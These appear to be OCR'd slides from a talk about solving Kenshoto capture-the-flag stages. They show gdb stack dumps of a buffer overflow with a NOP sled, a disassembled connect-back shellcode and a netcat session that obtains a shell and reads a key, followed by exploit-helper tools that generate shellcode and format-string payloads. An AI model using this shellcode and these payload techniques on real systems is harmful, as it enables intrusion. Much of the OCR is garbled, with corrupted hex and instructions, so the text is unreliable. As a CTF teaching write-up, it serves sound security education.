			DESCRI	- PTION The scanf() function reads input from t and sscanf() reads its input from the c	he standard input stream <u>stdin</u> , fsca haracter string pointed to by <u>str</u> .

0x1002 - Racking and Stacking:

14: X/SZXW best)				
Oxbfbfe760:	0x0804a200	0x08049c0e	0xbfbfe780	0x0000001	
Oxbfbfe770:	0x2809d8b4	Oxbfbfe7b4	0x2804ff23	0x00000000	
Oxbfbfe780:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfe790:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfe7a0:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfe7b0:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfe7c0:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfe7d0:	0x00000000	0x00000000	0x00000000	0x00000000	
13: x/32xw \$ebp	92				
Oxbfbfeb3c:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfeb4c:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfeb5c:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfeb6c:	0x00000000	0x00000000	0x00000000	0x00000000	
Oxbfbfeb7c:	0x00000000	0x280e7996	0x00000004	0x00000002	
Oxbfbfeb8c:	0x00000426	0x00000005	Oxbfbfebe0	Oxbfbfec78	
Oxbfbfeb9c:	0x080492ff	0x00000005	0xbfbfebc0	Oxbfbfec68	
Oxbfbfebac:	0x080492af	0x080484b8	Oxbfbfebf4	0x00000000	
12. /v teav - (avhfhfe780				

call

11: /x \$ebx = 0x2

10: /x \$ecx = 0x1

9: /x \$edx = 0x478

8: x/i \$pc 0x8049843 <chldrqst+127>:

0x8048c18 < init+476>

14: x/32xw \$esp				
Oxbfbfe770:	0x2809d8b4	0xbfbfe780	0x00000420	0x00000000
Oxbfbfe780:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfe790:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfbfe7a0:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfe7b0:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfe7c0:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfe7d0:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfe7e0:	0x90909090	0x90909090	0x90909090	0x90909090
13: x/32xw \$ebp	- 92			
0xbfbfeb3c:	0x90909090	0x90909090	0x90909090	0x90909090
Oxbfbfeb4c:	0x90909090	0xbfbfe780	0xbfbfe780	0xbfbfe780
Oxbfbfeb5c:	0xbfbfe780	0xbfbfe780	0xbfbfe780	0xbfbfe780
0xbfbfeb6c:	0xbfbfe780	0xbfbfe780	0xbfbfe780	0xbfbfe780
Oxbfbfeb7c:	0xbfbfe780	0xbfbfe780	0xbfbfe780	0xbfbfe780
0xbfbfeb8c:	0x00000420	0xbfbfe780	0xbfbfe780	0xbfbfe780
0xbfbfeb9c: 🏾 🌔	0xbfbfe780	0x00000000	0xbfbfebc0	0xbfbfec68
Oxbfbfebac:	0x090492a1	0x080484b8	Oxbfbfebf4	0x00000000

0x1003 - Racking and Stacking

8: x/i \$pc 0x8	80498b8 -chldrqst	t+244>: leave		
(gdb) ni				
0x080498b9 in c	hldrqst ()			
14: x/32xw \$est				
0xbfbfeb9c: 🌉	0xbfbfe780	0x00000000	0xbfbfebc0	0xbfbfec68
0xbfbfebac:	0x000492af	0x080484b8	0xbfbfebf4	0x00000000
0xbfbfebbc:	0xbfbfebe0	0x84db0210	0x01ffa8c0	0x00000000
0xbfbfebcc:	0x00000000	0xbfbfed30	0xbfbfec58	0x0000005
0xbfbfebdc:	0x00000000	0x00000010	0x00000000	0x00000000
0xbfbfebec:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfbfebfc:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfbfec0c:	0x00000000	0x00000000	0x00000000	0x00000000
13: x/32xw \$ebp	- 92			
0xbfbfe724:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfbfe734:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfbfe744:	0x00000001	0x00000478	0xbfbfe780	0x00000002
0xbfbfe754:	0xbfbfed30	0xbfbfed30	0x080498b0	0x00000000
0xbfbfe764:	0xbfbfe780	0x00000420	0x00000001	0x2809d8b4
0xbfbfe774:	0xbfbfe780	0x00000420	0x00000000	0x90909090
0xbfbfe784:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfbfe794:	0x90909090	0x90909090	0x90909090	0x90909090
12: /x \$eax = 0	x1			
11: /x \$ebx = 0	x2			
10: /x \$ecx = 0	x421			
9: /x \$edx = 0x	(8049c17			
8: x/i \$pc 0x8	80498b9 ≪hldrqst	t+245>: ret		
(gdb) si				
0xbfbfe780 in ?	? ()			
14: x/32xw \$esp				
0xbfbfeba0:	0x00000000	0xbfbfebc0	0xbfbfec68	0x080492af
0xbfbfebb0:	0x080484b8	0xbfbfebf4	0x00000000	0xbtbtebe0
0xbfbfebc0:	0x84db0210	0x01tta8c0	0x00000000	0x00000000
0xbfbfebd0:	0xbtbted30	0xbfbfec58	0x00000005	0x00000000
0xbfbfebe0:	0x00000010	0x0000000	0x00000000	0x00000000
Oxbfbfebf0:	0x00000000	0x0000000	0x00000000	0x00000000
Oxbfbfec00:	0x00000000	0x0000000	0x00000000	0x00000000
Oxbfbfec10:	0x00000000	0x0000000	0x00000000	0x00000000
13: x/ 32xw \$ebp	- 92			
Oxbfbfe/24:	0100000000	0x0000000	0x00000000	0x00000000
0xDTDTe/34:	0100000000	0100000000	0x00000000	01000000000
OXDTDTE/44:	010000001	0100000478	0xDTDTe/80	0x00000002
0xbTbTe/54:	0xbTbTed30	UXDTDTed3U	0x08049800	01000000000
OXDTDTE/64:	0xbTbTe/80	0x00000420	0x00000001	0x28090804
oxbfbfe704:	0x07076780	010000420	0x00000000	0x9090909090
oxbfbfe784:	0190909090	0190909090	0x90909090	0x9090909090
12: /* t	0190909090	0130303030	0890909090	0790909090
12: /x 4eax = 0	-2			
11: $/x$ $4ebx = 0$	-101			
10.7x = 0	08421			
9. / x seax	566-790, nor			
(adb)	nure/80: nop			
(gab)				

	(gdb) x/56i	0xbfbfe96a	
4	0xbfbfe96a:	nop	
	0xbfbfe96b:	nop	
	0xbfbfe96c:	nop	
	0xbfbfe96d:	nop	
	0xbfbfe96e:	nop	
	0xbfbfe96f:	nop	
	0xbfbfe970:	push	\$0x61
	0xbfbfe972:	рор	%eax
	0xbfbfe973:	cltd	
	0xbfbfe974:	push	%edx
	0xbfbfe975:	push	\$0x391b0210
	0xbfbfe97a:	mov	%esp,%ecx
	0xbfbfe97c:	push	%edx
	0xbfbfe97d:	inc	%edx
	0xbfbfe97e:	push	%edx
	0xbfbfe97f:	inc	%edx
	0xbfbfe980:	push	%edx
	0xbfbfe981:	push	\$8x10
	0xbfbfe983:	int	\$8x88
	0xbfbfe985:	cltd	
	0xbfbfe986:	xchg	%eax,%ebx
	0xbfbfe987:	push	%ecx
	0xbfbfe988:	push	%ebx
	0xbfbfe989:	push	%edx
	0xbfbfe98a:	push	\$0x68
	0xbfbfe98c:	pop	%eax
	0xbfbfe98d:	int	\$0x80
	0xbfbfe98f:	mov	\$0x6a,%al
	0xbfbfe991:	int	\$0x80
	0xbfbfe993:	push	%edx
	0xbfbfe994:	push	%ebx
	0xbfbfe995:	push	%edx
	0xbtbte996:	mov	\$0xle,%al
	0xbtbte998:	int	\$0x80
	Oxbfbfe99a:	xchg	%eax,%edi
	Oxbfbfe99b:	push	\$0x2
	Oxbfbfe99d:	pop	%ecx
	Oxbfbfe99e:	push	\$0x5a
	0xbfbfe9a0:	pop	%eax
	Oxbfbfe9al:	push	%ecx
	exbfbfe9a2:	push	sed1
	exproregas:	push	Secx
	exprorega4:	int	40x80
	OXDTDTe9a6:	dec	Secx
	oxbrbre9a):	Jns	OXDTDTe99e
	oxbfbfe9a9:	pusn	sear
	orbfbfaoaf.	push	#0×60/32121
	0xbfbfa9b4	push	Socn Soby
	Oxbfbfo9b6	nuch	Seav
	0xbfbfe9b7	push	Seco
	Bybfbfe9b9	push	Seby
	Gybfbfe9b9:	push	%ebx
	Gxbfbfe9ba:	mov	\$9x3b_%al
	0xbfbfe9bc	int	\$9x80
	0xbfbfe9be:	nop	

0x1100 - Sex Port 6969 and the Thrill of Conquest

atlas@arwen:/home/atlas/CTF-KenShoto/stage3 \$./stage3hackplay-2.pl 192.168.255.128 31337 1 10 AUTH:team19:qaMtZgyosX::: ov

atlas@arwen:/home/atlas \$ nc -v 192.168.255.128 31337 192.168.255.128: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.255.128] 31337 (?) open id uid=1144(team19) gid=665(teams) groups=665(teams) pwd /usr/home/team19 cat /home/stage3/key stage3="FakIuA9BLx2vyXq7Z9VWpw=="

0x1200 - Stages 4-7

- Over the following weeks
 - Mostly spent learning glibc artifacts
- stage4: Byte-overrun BOF in "client"
- stage5: FSE
- stage6: Hidden option: Careless fn ptr
- stage7: Precision-mismatch BOF
 - clearenv()
 - beabitch()

0x1300 – The Future of atlas

- Reversing has now become an addictive habit
- I will likely continue until my fingers and eyes no longer work
- •b1nary pr0n.

0x1400 – Intro to @UtilityBelt

- hacklib.pl and hacklib.py
- genshell.pl and genshell.py
- genformatstring.pl and genformatstring2.pl
- genformatstring.py
- disass.pl (v1.0)
- disass.py (v2.0)
- Several others: un64/en64, ascii2binary/etc...

0x1410 - hacklib.pl

Just a way to make the exploit writing easier:"do hacklib.pl"

0x1411 - genshell 0x1412 - genNOP 0x1413 - print_hex_reverse 0x1414 - genformatstring 0x1415 - xw

0x1420 - hacklib.py

Just a way to make the exploit writing easier:"import hacklib"

0x1421 - genshell 0x1422 - genNOP 0x1423 - print_hex_reverse 0x1424 - genformatstring 0x1425 - xw

0x1430 - genformatstring.py

- Command-line access to "genformatstring()" from hacklib.py
 - genformatstring.py [--inline] <replaceaddy> <withaddy>
- Spits out some debugging data to <stderr>

📒 atlas@arw	en: /home/atlas/@UtilityBelt - Shell No. 2 - Konsole 📃 🗆 🔀	
🦲 🔳 Shell No. 2	Shell Shell No. 3 Shell No. 4	
atlas@arwen:/home/atl 08048600 : 4141414141	las/@UtilityBelt \$./genformatstring.py 0x8048600 41414141 🔤	
Format String to ove	atlas@arwen: /home/atlas/@UtilityBelt - Shell No. 2 - Konsole 📃 🗆	×
Four memory location Reversed Hex: 008604	🔏 🔳 Shell No. 2 🔳 Shell 📓 Shell No. 3 📓 Shell No. 4	11×
Reversed Hex: 018604 Reversed Hex: 028604	atlas@arwen:/home/atlas/@UtilityBelt \$ echo -n "SHELLCODE" ./genformatstring.pyinline 0x64646464 41414141 64646464 : 41414141	
Reversed Hex: 038604	Format String to overwrite the four bytes at 64646464 with 41414141	
\$492\$4\$11\$2562\$5\$1\$25	Reversed Hex: 64646464	
	Reversed Hex: 65646464 Reversed Hex: 66646464	1
	Reversed Hex: 67646464 ddddedddfdddgdddSHELLCODE%40x%4\$n%256x%5\$n%256x%6\$n%256x%7\$natlas@arwen:/home/atlas/@UtilityBelt \$	-

0x1440 - disass.pl

- Original version (1.0)
- Fast, simple
- 0x1441 Assembly (or rather, disassembly)
- 0x1442 Global Offset Table (GOT)
- 0x1443 Headers
- 0x1444 Symbols
- 0x1445 Libraries
- 0x1446 GDB helpers (breaks and display settings ;)

0x1450 - disass.py

- New version (2.0) rewritten in Python
- Slower, more in-depth 0x1451 - Assembly (or rather, disassembly) 0x1452 - Global Offset Table (GOT)/PLT 0x1453 - Headers/Symbols/Libraries 0x1454 - DATA! 0x1455 - GDB helpers (breaks and display settings;)

0x1500 - Interesting Info and Links:

- Hacking: The Art of Exploitation
- ExploitX.org link
 - http://www.exploitx.com/forum/azbb.php?1112286936
- Reversing: Secrets of Reverse Engineering
- atlas' potentially braindead tips to deadlisting.
- Elf File Format Specs:
 - http://refspecs.freeslandards.org/elf/gabi4+/
- Gera's Insecure Programming exercises
 - http://community.core-sdi.com/~gera/InsecureProgramming/

0x1501 – More interesting links

- IA-32 Intel Architecture Software Dev Manuals
 - http://www.intel.com/design/pentium4/manuals/index_new.htm

0x1600 - Thanks:

- God
- Family and Friends
- Work
- Kenshoto
- DC Staff

0x1700 - Outtakes

 atlas' typing at 5am while sleeping... It's quite intriguing how words really *WANT* to appear!

8048969: 804896c: 804896f:	83 c4 10 8b 45 c4 66 c7 00 01 00		add mov movw	\$Ox10,%esp Oxffffffc4(%ebp),%eax \$Ox1,(%eax)
SegFailt os if	it weren' groumedeo	r.		
8048974	8b 5d c4	L	mov	Oxffffffc4(%ebp),%ebx
8048977	83 ec Oc		sub	\$0xc,%esp
804897a	ff 75 e8	-	pushl	0xffffffe8(%ebp)
804897d:	e8 16 fd ff ff		call	8048698 <_init+0x10c>